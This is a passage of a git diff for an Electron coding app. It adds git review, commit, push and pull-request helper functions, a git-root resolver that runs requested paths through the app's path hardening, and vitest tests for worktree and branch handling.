+        // hundreds of thousands of rows for browser profiles, generated
+        // artifacts, or dependency trees before the response reaches the
+        // renderer.
+        const status = await git.status(['--untracked-files=normal'])
+        const knownPaths = new Set(files.map(file => file.path))
+
+        for (const path of status.not_added) {
+          if (files.length >= REVIEW_FILE_CAP) {
+            break
+          }
+
+          if (!knownPaths.has(path)) {
+            files.push({ path, added: 0, removed: 0, status: '?', staged: false })
+            knownPaths.add(path)
+          }
+        }
+      }
+
+      files.sort((a, b) => a.path.localeCompare(b.path))
+      await fillUntrackedCounts(cwd, files)
+
+      return { files, base }
+    }
+
+    // Default: uncommitted (staged + unstaged + untracked), one row per path.
+    const [status, staged, unstaged] = await Promise.all([
+      // `normal` reports an untracked directory as one row instead of walking
+      // every descendant. The result is also capped before per-file stat/read
+      // work and before crossing the Electron IPC boundary.
+      git.status(['--untracked-files=normal']),
+      git.diffSummary(['--cached']),
+      git.diffSummary([])
+    ])
+
+    const stagedCounts = countsByPath(staged)
+    const unstagedCounts = countsByPath(unstaged)
+
+    const files = status.files.slice(0, REVIEW_FILE_CAP).map(file => {
+      const filePath = resolveRenamePath(file.path)
+      const sc = stagedCounts.get(filePath) || { added: 0, removed: 0 }
+      const uc = unstagedCounts.get(filePath) || { added: 0, removed: 0 }
+
+      return {
+        path: filePath,
+        added: sc.added + uc.added,
+        removed: sc.removed + uc.removed,
+        status: statusLetter(file),
+        staged: isStaged(file)
+      }
+    })
+
+    files.sort((a, b) => a.path.localeCompare(b.path))
+    await fillUntrackedCounts(cwd, files)
+
+    return { files, base: null }
+  } catch {
+    return { files: [], base: null }
+  }
+}
+
+async function reviewDiff(repoPath, filePath, scope, baseRef, staged, gitBin) {
+  let cwd
+
+  try {
+    cwd = resolveRequestedPathForIpc(repoPath, { purpose: 'Review diff' })
+  } catch {
+    return ''
+  }
+
+  const git = gitFor(cwd, gitBin)
+  const safe = args => git.diff(args).catch(() => '')
+
+  if (scope === 'branch') {
+    const base = await branchBase(git)
+
+    return base ? safe([`${base}...HEAD`, '--', filePath]) : ''
+  }
+
+  if (scope === 'lastTurn') {
+    return baseRef ? safe([baseRef, '--', filePath]) : ''
+  }
+
+  if (staged) {
+    return safe(['--cached', '--', filePath])
+  }
+
+  const worktree = await safe(['--', filePath])
+
+  if (worktree.trim()) {
+    return worktree
+  }
+
+  // Untracked file: no worktree diff exists, so synthesize an all-add diff via
+  // --no-index (exits non-zero by design when files differ, so go around
+  // simple-git's reject-on-nonzero with a raw execFile).
+  return new Promise(resolve => {
+    execFile(
+      gitBin || 'git',
+      ['diff', '--no-index', '--', '/dev/null', filePath],
+      { cwd, windowsHide: true, timeout: 30_000, maxBuffer: 32 * 1024 * 1024 },
+      (_err, stdout) => resolve(String(stdout || ''))
+    )
+  })
+}
+
+// Working-tree-vs-HEAD diff for ONE file — the "what changed since the last
+// commit" view used by the file preview. Unlike reviewDiff this never synthesizes
+// a full-add for a clean tracked file (so a pristine file shows no diff); it only
+// all-adds a genuinely untracked file.
+async function fileDiffVsHead(repoPath, filePath, gitBin) {
+  let cwd
+
+  try {
+    cwd = resolveRequestedPathForIpc(repoPath, { purpose: 'File diff' })
+  } catch {
+    return ''
+  }
+
+  const git = gitFor(cwd, gitBin)
+  const head = await git.diff(['HEAD', '--', filePath]).catch(() => '')
+
+  if (head.trim()) {
+    return head
+  }
+
+  // No tracked changes vs HEAD. Only synthesize an all-add diff for a file git
+  // doesn't know yet; a clean tracked file must return empty.
+  const status = await git.raw(['status', '--porcelain', '--', filePath]).catch(() => '')
+
+  if (!status.trim().startsWith('??')) {
+    return ''
+  }
+
+  return new Promise(resolve => {
+    execFile(
+      gitBin || 'git',
+      ['diff', '--no-index', '--', '/dev/null', filePath],
+      { cwd, windowsHide: true, timeout: 30_000, maxBuffer: 32 * 1024 * 1024 },
+      (_err, stdout) => resolve(String(stdout || ''))
+    )
+  })
+}
+
+async function reviewStage(repoPath, filePath, gitBin) {
+  const cwd = resolveRequestedPathForIpc(repoPath, { purpose: 'Review stage' })
+
+  await gitFor(cwd, gitBin).raw(filePath ? ['add', '--', filePath] : ['add', '-A'])
+
+  return { ok: true }
+}
+
+async function reviewUnstage(repoPath, filePath, gitBin) {
+  const cwd = resolveRequestedPathForIpc(repoPath, { purpose: 'Review unstage' })
+
+  await gitFor(cwd, gitBin).raw(filePath ? ['reset', '-q', 'HEAD', '--', filePath] : ['reset', '-q', 'HEAD'])
+
+  return { ok: true }
+}
+
+// Discard changes back to the committed state. Destructive — the renderer
+// confirms first. Restores tracked files and removes untracked ones.
+async function reviewRevert(repoPath, filePath, gitBin) {
+  const cwd = resolveRequestedPathForIpc(repoPath, { purpose: 'Review revert' })
+  const git = gitFor(cwd, gitBin)
+
+  if (filePath) {
+    await git.raw(['checkout', 'HEAD', '--', filePath]).catch(() => undefined)
+    await git.raw(['clean', '-fd', '--', filePath]).catch(() => undefined)
+  } else {
+    await git.raw(['checkout', 'HEAD', '--', '.']).catch(() => undefined)
+    await git.raw(['clean', '-fd']).catch(() => undefined)
+  }
+
+  return { ok: true }
+}
+
+// Resolve a ref to a commit sha (captures the turn baseline for "Last turn").
+async function reviewRevParse(repoPath, ref, gitBin) {
+  let cwd
+
+  try {
+    cwd = resolveRequestedPathForIpc(repoPath, { purpose: 'Review rev-parse' })
+  } catch {
+    return null
+  }
+
+  try {
+    return (await gitFor(cwd, gitBin).revparse([ref || 'HEAD'])).trim() || null
+  } catch {
+    return null
+  }
+}
+
+// Commit the working tree. Mirrors VS Code: if nothing is staged, stage
+// everything first ("commit all"), then commit. Optionally push afterward,
+// setting upstream on the first push.
+async function reviewCommit(repoPath, message, push, gitBin) {
+  const cwd = resolveRequestedPathForIpc(repoPath, { purpose: 'Review commit' })
+  const git = gitFor(cwd, gitBin)
+  const status = await git.status()
+
+  if (status.staged.length === 0) {
+    await git.raw(['add', '-A'])
+  }
+
+  await git.commit(message)
+
+  if (push) {
+    const fresh = await git.status()
+
+    if (fresh.tracking) {
+      await git.push()
+    } else if (fresh.current) {
+      await git.raw(['push', '-u', 'origin', fresh.current])
+    }
+  }
+
+  return { ok: true }
+}
+
+// Gather the context the model needs to draft a commit message: the diff of
+// what *will* be committed (staged when anything is staged, else everything
+// vs HEAD — mirroring reviewCommit's "stage all when nothing staged" rule),
+// the names of untracked files (which carry no diff), and recent commit
+// subjects for style. Diff is capped so the payload stays bounded. Reads only.
+async function reviewCommitContext(repoPath, gitBin) {
+  let cwd
+
+  try {
+    cwd = resolveRequestedPathForIpc(repoPath, { purpose: 'Review commit context' })
+  } catch {
+    return { diff: '', recent: '' }
+  }
+
+  const git = gitFor(cwd, gitBin)
+  const safe = args => git.diff(args).catch(() => '')
+
+  let status
+
+  try {
+    status = await git.status()
+  } catch {
+    return { diff: '', recent: '' }
+  }
+
+  // What will land: staged changes if any, otherwise all tracked changes vs HEAD.
+  let diff = capText(
+    status.staged.length > 0 ? await safe(['--cached']) : await safe(['HEAD']),
+    COMMIT_CONTEXT_DIFF_MAX_CHARS,
+    'diff truncated for commit-message generation'
+  )
+
+  // Untracked files have no diff — list them so new files aren't invisible.
+  const untracked = status.not_added || []
+
+  if (untracked.length > 0) {
+    const visible = untracked.slice(0, COMMIT_CONTEXT_UNTRACKED_MAX)
+    const omitted = untracked.length - visible.length
+
+    const note =
+      `\n# New (untracked) files:\n${visible.map(p => `#   ${p}`).join('\n')}\n` +
+      (omitted > 0 ? `#   ... ${omitted} more omitted\n` : '')
+
+    diff = diff ? `${diff}${note}` : note
+  }
+
+  const recent = await git.raw(['log', '-n', '10', '--pretty=format:%s']).catch(() => '')
+
+  return { diff: diff || '', recent: String(recent || '').trim() }
+}
+
+async function reviewPush(repoPath, gitBin) {
+  const cwd = resolveRequestedPathForIpc(repoPath, { purpose: 'Review push' })
+  const git = gitFor(cwd, gitBin)
+  const status = await git.status()
+
+  if (status.tracking) {
+    await git.push()
+  } else if (status.current) {
+    await git.raw(['push', '-u', 'origin', status.current])
+  }
+
+  return { ok: true }
+}
+
+// gh availability + auth + whether this branch already has a PR. Reads only;
+// drives the PR button's enabled/label state. `ghReady` is false when gh is
+// missing OR not authenticated — either way the PR action can't run.
+async function reviewShipInfo(repoPath, ghBin) {
+  let cwd
+
+  try {
+    cwd = resolveRequestedPathForIpc(repoPath, { purpose: 'Review ship info' })
+  } catch {
+    return { ghReady: false, pr: null }
+  }
+
+  const auth = await runGh(['auth', 'status'], cwd, ghBin)
+
+  if (!auth.ok) {
+    return { ghReady: false, pr: null }
+  }
+
+  const view = await runGh(['pr', 'view', '--json', 'url,state,number'], cwd, ghBin)
+
+  if (!view.ok) {
+    // gh exits non-zero when no PR exists for the branch — that's not an error.
+    return { ghReady: true, pr: null }
+  }
+
+  try {
+    const pr = JSON.parse(view.stdout)
+
+    return { ghReady: true, pr: pr && pr.url ? { url: pr.url, state: pr.state, number: pr.number } : null }
+  } catch {
+    return { ghReady: true, pr: null }
+  }
+}
+
+// Create a PR for the current branch (pushing first so gh has a remote ref),
+// letting gh fill title/body from the commits. Returns the new PR url.
+async function reviewCreatePr(repoPath, gitBin, ghBin) {
+  const cwd = resolveRequestedPathForIpc(repoPath, { purpose: 'Review create PR' })
+
+  await reviewPush(repoPath, gitBin).catch(() => undefined)
+
+  const created = await runGh(['pr', 'create', '--fill'], cwd, ghBin)
+
+  if (!created.ok) {
+    throw new Error('gh pr create failed (is gh installed and authenticated?)')
+  }
+
+  const url = created.stdout.trim().split('\n').filter(Boolean).pop() || ''
+
+  return { url }
+}
+
+// Compact working-tree status for the composer coding rail: branch, ahead/behind,
+// per-state change counts, +/- vs HEAD, and a capped changed-file list.
+async function repoStatus(repoPath, gitBin) {
+  let cwd
+
+  try {
+    cwd = resolveRequestedPathForIpc(repoPath, { purpose: 'Repo status' })
+  } catch {
+    return null
+  }
+
+  // Session cwds can point at a deleted worktree for a moment (or forever in a
+  // stale row). simple-git throws at construction time on a missing baseDir, so
+  // fail soft and hide the coding rail instead of spamming IPC handler errors.
+  try {
+    const stat = await fs.stat(cwd)
+
+    if (!stat.isDirectory()) {
+      return null
+    }
+  } catch {
+    return null
+  }
+
+  let git
+
+  try {
+    git = gitFor(cwd, gitBin)
+  } catch {
+    return null
+  }
+
+  let status
+
+  try {
+    // The coding rail needs compact change truth, not every generated file.
+    // `simple-git` defaults bare `-u` to recursive `all`, which can make a
+    // generated workspace consume gigabytes before the 200-row UI cap is
+    // applied. `normal` reports each untracked directory as one entry.
+    status = await git.status(['--untracked-files=normal'])
+  } catch {
+    // Not a repo / git unavailable / remote backend.
+    return null
+  }
+
+  const detached = typeof status.detached === 'boolean' ? status.detached : !status.current
+
+  const files = status.files.map(file => ({
+    path: file.path,
+    staged: isStaged(file),
+    unstaged: Boolean(file.working_dir && file.working_dir !== ' ' && file.working_dir !== '?'),
+    untracked: file.index === '?' || file.working_dir === '?',
+    conflicted: file.index === 'U' || file.working_dir === 'U'
+  }))
+
+  const result = {
+    branch: detached ? null : status.current || null,
+    defaultBranch: await defaultBranchName(git),
+    detached,
+    ahead: status.ahead || 0,
+    behind: status.behind || 0,
+    staged: files.filter(f => f.staged).length,
+    unstaged: files.filter(f => f.unstaged).length,
+    untracked: status.not_added.length,
+    conflicted: status.conflicted.length,
+    changed: files.length,
+    added: 0,
+    removed: 0,
+    files: files.slice(0, 200)
+  }
+
+  // +/- vs HEAD (staged + unstaged tracked changes). No HEAD yet → leave 0.
+  try {
+    const summary = await git.diffSummary(['HEAD'])
+    result.added = summary.insertions
+    result.removed = summary.deletions
+  } catch {
+    // No commits yet.
+  }
+
+  // `git diff HEAD` ignores untracked files, so a turn that only creates new
+  // files (the common case — a fresh module) showed +0 in the rail while the
+  // review pane counted them. Fold top-level untracked file insertions into
+  // `added`; directories reported by the compact `normal` scan intentionally
+  // remain at zero rather than recursively walking their contents.
+  try {
+    const untracked = status.not_added.slice(0, 500)
+
+    for (let i = 0; i < untracked.length; i += UNTRACKED_LINE_COUNT_CONCURRENCY) {
+      const batch = await Promise.all(
+        untracked.slice(i, i + UNTRACKED_LINE_COUNT_CONCURRENCY).map(path => untrackedInsertions(cwd, path))
+      )
+
+      result.added += batch.reduce((sum, n) => sum + n, 0)
+    }
+  } catch {
+    // Best-effort: a probe failure just leaves untracked lines uncounted.
+  }
+
+  return result
+}
+
+export {
+  branchBase,
+  fileDiffVsHead,
+  gitFor,
+  repoStatus,
+  resolveRenamePath,
+  REVIEW_FILE_CAP,
+  reviewCommit,
+  reviewCommitContext,
+  reviewCreatePr,
+  reviewDiff,
+  reviewList,
+  reviewPush,
+  reviewRevert,
+  reviewRevParse,
+  reviewShipInfo,
+  reviewStage,
+  reviewUnstage
+}
diff --git a/ui-desktop/electron/git-root.test.ts b/ui-desktop/electron/git-root.test.ts
new file mode 100644
index 000000000..36e9aeb29
--- /dev/null
+++ b/ui-desktop/electron/git-root.test.ts
@@ -0,0 +1,42 @@
+import assert from 'node:assert/strict'
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+import { pathToFileURL } from 'node:url'
+
+import { test } from 'vitest'
+
+import { gitRootForIpc } from './git-root'
+
+function mkTmpDir() {
+  return fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-git-root-'))
+}
+
+test('gitRootForIpc returns null for invalid and device paths', async () => {
+  assert.equal(await gitRootForIpc(''), null)
+  assert.equal(await gitRootForIpc('   '), null)
+  assert.equal(await gitRootForIpc(null), null)
+  assert.equal(await gitRootForIpc('\\\\?\\C:\\secret'), null)
+  assert.equal(await gitRootForIpc('file:///%E0%A4%A'), null)
+})
+
+test('gitRootForIpc resolves directories files missing descendants and file URLs', async () => {
+  const root = mkTmpDir()
+
+  try {
+    const gitDir = path.join(root, '.git')
+    const srcDir = path.join(root, 'src')
+    const filePath = path.join(srcDir, 'index.ts')
+    fs.mkdirSync(gitDir)
+    fs.mkdirSync(srcDir)
+    fs.writeFileSync(filePath, 'export {}\n', 'utf8')
+
+    assert.equal(await gitRootForIpc(root), root)
+    assert.equal(await gitRootForIpc(srcDir), root)
+    assert.equal(await gitRootForIpc(filePath), root)
+    assert.equal(await gitRootForIpc(pathToFileURL(filePath).toString()), root)
+    assert.equal(await gitRootForIpc(path.join(srcDir, 'missing.ts')), root)
+  } finally {
+    fs.rmSync(root, { recursive: true, force: true })
+  }
+})
diff --git a/ui-desktop/electron/git-root.ts b/ui-desktop/electron/git-root.ts
new file mode 100644
index 000000000..bd19c25a8
--- /dev/null
+++ b/ui-desktop/electron/git-root.ts
@@ -0,0 +1,50 @@
+import fs from 'node:fs'
+import path from 'node:path'
+
+import { resolveRequestedPathForIpc } from './hardening'
+
+function findGitRoot(start, fsImpl = fs) {
+  let dir = start
+
+  for (let i = 0; i < 50; i += 1) {
+    try {
+      if (fsImpl.existsSync(path.join(dir, '.git'))) {
+        return dir
+      }
+    } catch {
+      return null
+    }
+
+    const parent = path.dirname(dir)
+
+    if (parent === dir) {
+      return null
+    }
+
+    dir = parent
+  }
+
+  return null
+}
+
+async function gitRootForIpc(startPath, options: { fs?: typeof fs } = {}) {
+  const fsImpl = options.fs || fs
+  let resolved
+
+  try {
+    resolved = resolveRequestedPathForIpc(startPath, { purpose: 'Git root' })
+  } catch {
+    return null
+  }
+
+  try {
+    const stat = await fsImpl.promises.stat(resolved)
+    const start = stat.isDirectory() ? resolved : path.dirname(resolved)
+
+    return findGitRoot(start, fsImpl)
+  } catch {
+    return findGitRoot(resolved, fsImpl)
+  }
+}
+
+export { findGitRoot, gitRootForIpc }
diff --git a/ui-desktop/electron/git-worktree-ops.test.ts b/ui-desktop/electron/git-worktree-ops.test.ts
new file mode 100644
index 000000000..dee806857
--- /dev/null
+++ b/ui-desktop/electron/git-worktree-ops.test.ts
@@ -0,0 +1,437 @@
+import assert from 'node:assert/strict'
+import { execFileSync } from 'node:child_process'
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+
+import { test } from 'vitest'
+
+import {
+  addWorktree,
+  ensureGitRepo,
+  listBaseBranches,
+  listBranches,
+  parseWorktrees,
+  sanitizeBranch,
+  switchBranch
+} from './git-worktree-ops'
+
+test('sanitizeBranch: spaces → hyphens, forbidden chars dropped, edges trimmed', () => {
+  assert.equal(sanitizeBranch('beach vibes'), 'beach-vibes')
+  assert.equal(sanitizeBranch('feat/cool thing'), 'feat/cool-thing')
+  assert.equal(sanitizeBranch('  wip~^:? '), 'wip')
+  assert.equal(sanitizeBranch('///'), '')
+})
+
+test('parseWorktrees: main checkout + linked worktree', () => {
+  const out = [
+    'worktree /repo',
+    'HEAD abc123',
+    'branch refs/heads/main',
+    '',
+    'worktree /repo/.worktrees/feat',
+    'HEAD def456',
+    'branch refs/heads/clawcodex/feat',
+    ''
+  ].join('\n')
+
+  const trees = parseWorktrees(out)
+
+  assert.equal(trees.length, 2)
+  assert.equal(trees[0].path, '/repo')
+  assert.equal(trees[0].branch, 'main')
+  assert.equal(trees[1].path, '/repo/.worktrees/feat')
+  assert.equal(trees[1].branch, 'clawcodex/feat')
+})
+
+test('parseWorktrees: detached + locked flags', () => {
+  const out = ['worktree /repo/wt', 'HEAD abc', 'detached', 'locked reason', ''].join('\n')
+  const trees = parseWorktrees(out)
+
+  assert.equal(trees.length, 1)
+  assert.equal(trees[0].detached, true)
+  assert.equal(trees[0].locked, true)
+  assert.equal(trees[0].branch, null)
+})
+
+test('parseWorktrees: empty input', () => {
+  assert.deepEqual(parseWorktrees(''), [])
+})
+
+test('ensureGitRepo: inits a plain dir with a root commit so worktrees branch', async () => {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-wt-'))
+  const git = (...args) => execFileSync('git', args, { cwd: dir }).toString().trim()
+
+  try {
+    await ensureGitRepo('git', dir)
+    assert.match(git('rev-parse', '--verify', 'HEAD'), /^[0-9a-f]{7,}$/)
+
+    // The whole point: a worktree can now branch off the seeded root commit.
+    execFileSync('git', ['worktree', 'add', '-b', 'wt', path.join(dir, '.worktrees', 'wt')], { cwd: dir })
+    assert.ok(fs.existsSync(path.join(dir, '.worktrees', 'wt')))
+
+    // Idempotent: an already-committed repo gets no extra commit.
+    await ensureGitRepo('git', dir)
+    assert.equal(git('rev-list', '--count', 'HEAD'), '1')
+  } finally {
+    fs.rmSync(dir, { recursive: true, force: true })
+  }
+})
+
+test('switchBranch: switches a normal checkout branch', async () => {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-switch-'))
+  const git = (...args) => execFileSync('git', args, { cwd: dir }).toString().trim()
+
+  try {
+    await ensureGitRepo('git', dir)
+    execFileSync('git', ['branch', 'feature'], { cwd: dir })
+
+    await switchBranch(dir, 'feature', 'git')
+
+    assert.equal(git('branch', '--show-current'), 'feature')
+  } finally {
+    fs.rmSync(dir, { recursive: true, force: true })
+  }
+})
+
+test('listBranches: lists locals and flags the checked-out branch', async () => {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-branches-'))
+
+  try {
+    await ensureGitRepo('git', dir)
+    const current = execFileSync('git', ['branch', '--show-current'], { cwd: dir }).toString().trim()
+    execFileSync('git', ['branch', 'feature'], { cwd: dir })
+
+    const branches = await listBranches(dir, 'git')
+    const names = branches.map(b => b.name).sort()
+
+    assert.deepEqual(names, [current, 'feature'].sort())
+    // The repo's own checkout is flagged; the unused branch is convertible.
+    assert.equal(branches.find(b => b.name === current).checkedOut, true)
+    assert.equal(branches.find(b => b.name === current).isDefault, true)
+    assert.equal(fs.realpathSync(branches.find(b => b.name === current).worktreePath), fs.realpathSync(dir))
+    assert.equal(branches.find(b => b.name === 'feature').checkedOut, false)
+    assert.equal(branches.find(b => b.name === 'feature').isDefault, false)
+    assert.equal(branches.find(b => b.name === 'feature').worktreePath, null)
+  } finally {
+    fs.rmSync(dir, { recursive: true, force: true })
+  }
+})
+
+test('listBranches: flags a free default branch as default, not checked out', async () => {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-branches-default-'))
+  const git = (...args) => execFileSync('git', args, { cwd: dir }).toString().trim()
+
+  try {
+    await ensureGitRepo('git', dir)
+    const trunk = git('branch', '--show-current')
+    execFileSync('git', ['switch', '-c', 'rawr'], { cwd: dir })
+
+    const branches = await listBranches(dir, 'git')
+    const defaultBranch = branches.find(b => b.name === trunk)
+
+    assert.equal(defaultBranch.checkedOut, false)
+    assert.equal(defaultBranch.isDefault, true)
+    assert.equal(defaultBranch.worktreePath, null)
+  } finally {
+    fs.rmSync(dir, { recursive: true, force: true })
+  }
+})
+
+test('listBranches: a branch claimed by a worktree is flagged checked out', async () => {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-branches-wt-'))
+
+  try {
+    await ensureGitRepo('git', dir)
+    execFileSync('git', ['branch', 'feature'], { cwd: dir })
+    // addWorktree converts the existing "feature" branch into a worktree.
+    const result = await addWorktree(dir, { existingBranch: 'feature' }, 'git')
+
+    assert.equal(result.branch, 'feature')
+    assert.ok(fs.existsSync(result.path))
+
+    const branches = await listBranches(dir, 'git')
+
+    assert.equal(branches.find(b => b.name === 'feature').checkedOut, true)
+  } finally {
+    fs.rmSync(dir, { recursive: true, force: true })
+  }
+})
+
+test('listBranches: empty on a non-repo path', async () => {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-nonrepo-'))
+
+  try {
+    assert.deepEqual(await listBranches(dir, 'git'), [])
+  } finally {
+    fs.rmSync(dir, { recursive: true, force: true })
+  }
+})
+
+test('addWorktree: existingBranch checks the branch out without a new branch', async () => {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-convert-'))
+  const git = (...args) => execFileSync('git', args, { cwd: dir }).toString().trim()
+
+  try {
+    await ensureGitRepo('git', dir)
+    execFileSync('git', ['branch', 'cool/feature'], { cwd: dir })
+
+    const before = git('branch', '--list').split('\n').length
+    const result = await addWorktree(dir, { existingBranch: 'cool/feature' }, 'git')
+
+    // No new branch was created — only the existing one is checked out.
+    assert.equal(git('branch', '--list').split('\n').length, before)
+    assert.equal(result.branch, 'cool/feature')
+    // Dir is named off the branch slug, nested under the main repo's .worktrees.
+    assert.match(result.path, /[/\\]\.worktrees[/\\]cool-feature/)
+    assert.equal(
+      execFileSync('git', ['branch', '--show-current'], { cwd: result.path }).toString().trim(),
+      'cool/feature'
+    )
+  } finally {
+    fs.rmSync(dir, { recursive: true, force: true })
+  }
+})
+
+test('addWorktree: existing default branch switches the main checkout, not .worktrees/main', async () => {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-convert-default-'))
+  const git = (...args) => execFileSync('git', args, { cwd: dir }).toString().trim()
+
+  try {
+    await ensureGitRepo('git', dir)
+    const trunk = git('branch', '--show-current')
+    execFileSync('git', ['switch', '-c', 'rawr'], { cwd: dir })
+
+    const result = await addWorktree(dir, { existingBranch: trunk }, 'git')
+
+    assert.equal(result.branch, trunk)
+    assert.equal(fs.realpathSync(result.path), fs.realpathSync(dir))
+    assert.equal(git('branch', '--show-current'), trunk)
+    assert.equal(fs.existsSync(path.join(dir, '.worktrees', trunk)), false)
+  } finally {
+    fs.rmSync(dir, { recursive: true, force: true })
+  }
+})
+
+test('listBaseBranches: lists local branches and flags the default', async () => {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-base-branches-'))
+  const git = (...args) => execFileSync('git', args, { cwd: dir }).toString().trim()
+
+  try {
+    await ensureGitRepo('git', dir)
+    const trunk = git('branch', '--show-current')
+    execFileSync('git', ['branch', 'feature'], { cwd: dir })
+
+    const branches = await listBaseBranches(dir, 'git')
+    const names = branches.map(b => b.name).sort()
+
+    assert.deepEqual(names, [trunk, 'feature'].sort())
+    // No remote → all local.
+    assert.equal(
+      branches.every(b => !b.isRemote),
+      true
+    )
+    // The trunk is flagged as the default.
+    assert.equal(branches.find(b => b.name === trunk).isDefault, true)
+    assert.equal(branches.find(b => b.name === 'feature').isDefault, false)
+  } finally {
+    fs.rmSync(dir, { recursive: true, force: true })
+  }
+})
+
+test('listBaseBranches: empty on a non-repo path', async () => {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-base-nonrepo-'))
+
+  try {
+    assert.deepEqual(await listBaseBranches(dir, 'git'), [])
+  } finally {
+    fs.rmSync(dir, { recursive: true, force: true })
+  }
+})
+
+test('addWorktree: base param branches off a specified local branch', async () => {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-base-add-'))
+  const git = (...args) => execFileSync('git', args, { cwd: dir }).toString().trim()
+
+  try {
+    await ensureGitRepo('git', dir)
+    execFileSync('git', ['branch', 'staging'], { cwd: dir })
+
+    const result = await addWorktree(
+      dir,
+      { base: 'staging', branch: 'new-from-staging', name: 'new-from-staging' },
+      'git'
+    )
+
+    assert.equal(result.branch, 'new-from-staging')
+    assert.equal(git('-C', result.path, 'merge-base', 'HEAD', 'staging').length > 0, true)
+  } finally {
+    fs.rmSync(dir, { recursive: true, force: true })
+  }
+})
+
+test('addWorktree: base origin/main does not set up upstream tracking', async () => {
+  // Two repos: a bare "remote" and a clone, so origin/main resolves as a
+  // remote-tracking ref — the condition that triggers auto-tracking.
+  const remoteDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-remote-'))
+  const cloneDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-clone-'))
+  const git = (...args) => execFileSync('git', args, { cwd: cloneDir }).toString().trim()
+
+  try {
+    // Seed the remote with a commit on main. Inline identity so it works
+    // on CI runners with no global git config.
+    execFileSync('git', ['init', '-b', 'main', remoteDir])
+    execFileSync('git', [
+      '-C',
+      remoteDir,
+      '-c',
+      'user.email=clawcodex@localhost',
+      '-c',
+      'user.name=ClawCodex',
+      'commit',
+      '--allow-empty',
+      '-m',
+      'root'
+    ])
+
+    // Clone so origin/main exists as a remote-tracking ref.
+    execFileSync('git', ['clone', remoteDir, cloneDir])
+
+    const result = await addWorktree(
+      cloneDir,
+      { base: 'origin/main', branch: 'feature-branch', name: 'feature-branch' },
+      'git'
+    )
+
+    assert.equal(result.branch, 'feature-branch')
+
+    // The new branch must NOT have an upstream — like `git checkout origin/main
+    // && git checkout -b feature-branch`, not `git worktree add -b … origin/main`.
+    let hasUpstream = true
+
+    try {
+      execFileSync('git', ['-C', result.path, 'rev-parse', '--abbrev-ref', '--symbolic-full-name', '@{u}'])
+    } catch {
+      hasUpstream = false
+    }
+
+    assert.equal(hasUpstream, false)
+  } finally {
+    fs.rmSync(remoteDir, { recursive: true, force: true })
+    fs.rmSync(cloneDir, { recursive: true, force: true })
+  }
+})
+
+// A pair of repos: a bare "remote" with `main` and the extra branches in
+// `branches`, plus a clone of it. Returns both paths. The caller must remove
+// them.
+function seedRemoteAndClone(label, branches) {
+  const remoteDir = fs.mkdtempSync(path.join(os.tmpdir(), `clawcodex-${label}-remote-`))
+  const cloneDir = fs.mkdtempSync(path.join(os.tmpdir(), `clawcodex-${label}-clone-`))
+
+  const remoteGit = (...args) =>
+    execFileSync('git', ['-C', remoteDir, ...args])
+      .toString()
+      .trim()
+
+  execFileSync('git', ['init', '-b', 'main', remoteDir])
+  remoteGit('-c', 'user.email=clawcodex@localhost', '-c', 'user.name=ClawCodex', 'commit', '--allow-empty', '-m', 'root')
+
+  for (const branch of branches) {
+    remoteGit('branch', branch)
+  }
+
+  execFileSync('git', ['clone', remoteDir, cloneDir])
+
+  return { cloneDir, remoteDir }
+}
+
+test('listBranches: offers remote branches that have no local counterpart', async () => {
+  const { cloneDir, remoteDir } = seedRemoteAndClone('branches-remote', ['teammate-work'])
+
+  try {
+    const branches = await listBranches(cloneDir, 'git')
+    const byName = new Map(branches.map(b => [b.name, b]))
+
+    // The teammate's branch is only on the remote. The list therefore offers it
+    // by its remote-tracking name, with a flag that lets the UI say "track
+    // remote".
+    const remoteOnly = byName.get('origin/teammate-work')
+
+    assert.ok(remoteOnly)
+    assert.equal(remoteOnly.isRemote, true)
+    assert.equal(remoteOnly.checkedOut, false)
+    assert.equal(remoteOnly.isDefault, false)
+    assert.equal(remoteOnly.worktreePath, null)
+
+    // `main` is checked out locally, so it shows once as a local branch.
+    // "origin/main" is a duplicate of a branch that is already in the list.
+    assert.equal(byName.get('main').isRemote, false)
+    assert.equal(byName.has('origin/main'), false)
+
+    // "origin/HEAD" is an alias for the default branch of the remote. It is not
+    // a branch.
+    assert.equal(
+      branches.some(b => b.name.endsWith('/HEAD')),
+      false
+    )
+  } finally {
+    fs.rmSync(remoteDir, { recursive: true, force: true })
+    fs.rmSync(cloneDir, { recursive: true, force: true })
+  }
+})
+
+test('addWorktree: a remote branch becomes a local branch tracking it', async () => {
+  const { cloneDir, remoteDir } = seedRemoteAndClone('convert-remote', ['teammate-work'])
+
+  try {
+    const result = await addWorktree(cloneDir, { existingBranch: 'origin/teammate-work' }, 'git')
+
+    const inTree = (...args) =>
+      execFileSync('git', ['-C', result.path, ...args])
+        .toString()
+        .trim()
+
+    // The worktree is on a local branch that has the name of the remote one. It
+    // is not on a detached HEAD, which is the result of a checkout of
+    // "origin/teammate-work".
+    assert.equal(result.branch, 'teammate-work')
+    assert.equal(inTree('branch', '--show-current'), 'teammate-work')
+    assert.match(result.path, /[/\\]\.worktrees[/\\]teammate-work/)
+
+    // The branch tracks the remote branch, so push and pull work with no more
+    // setup.
+    assert.equal(inTree('rev-parse', '--abbrev-ref', '--symbolic-full-name', '@{u}'), 'origin/teammate-work')
+  } finally {
+    fs.rmSync(remoteDir, { recursive: true, force: true })
+    fs.rmSync(cloneDir, { recursive: true, force: true })
+  }
+})
+
+test('addWorktree: a remote default branch gets its own worktree, not a home switch', async () => {
+  const { cloneDir, remoteDir } = seedRemoteAndClone('convert-remote-default', [])
+
+  const git = (...args) =>
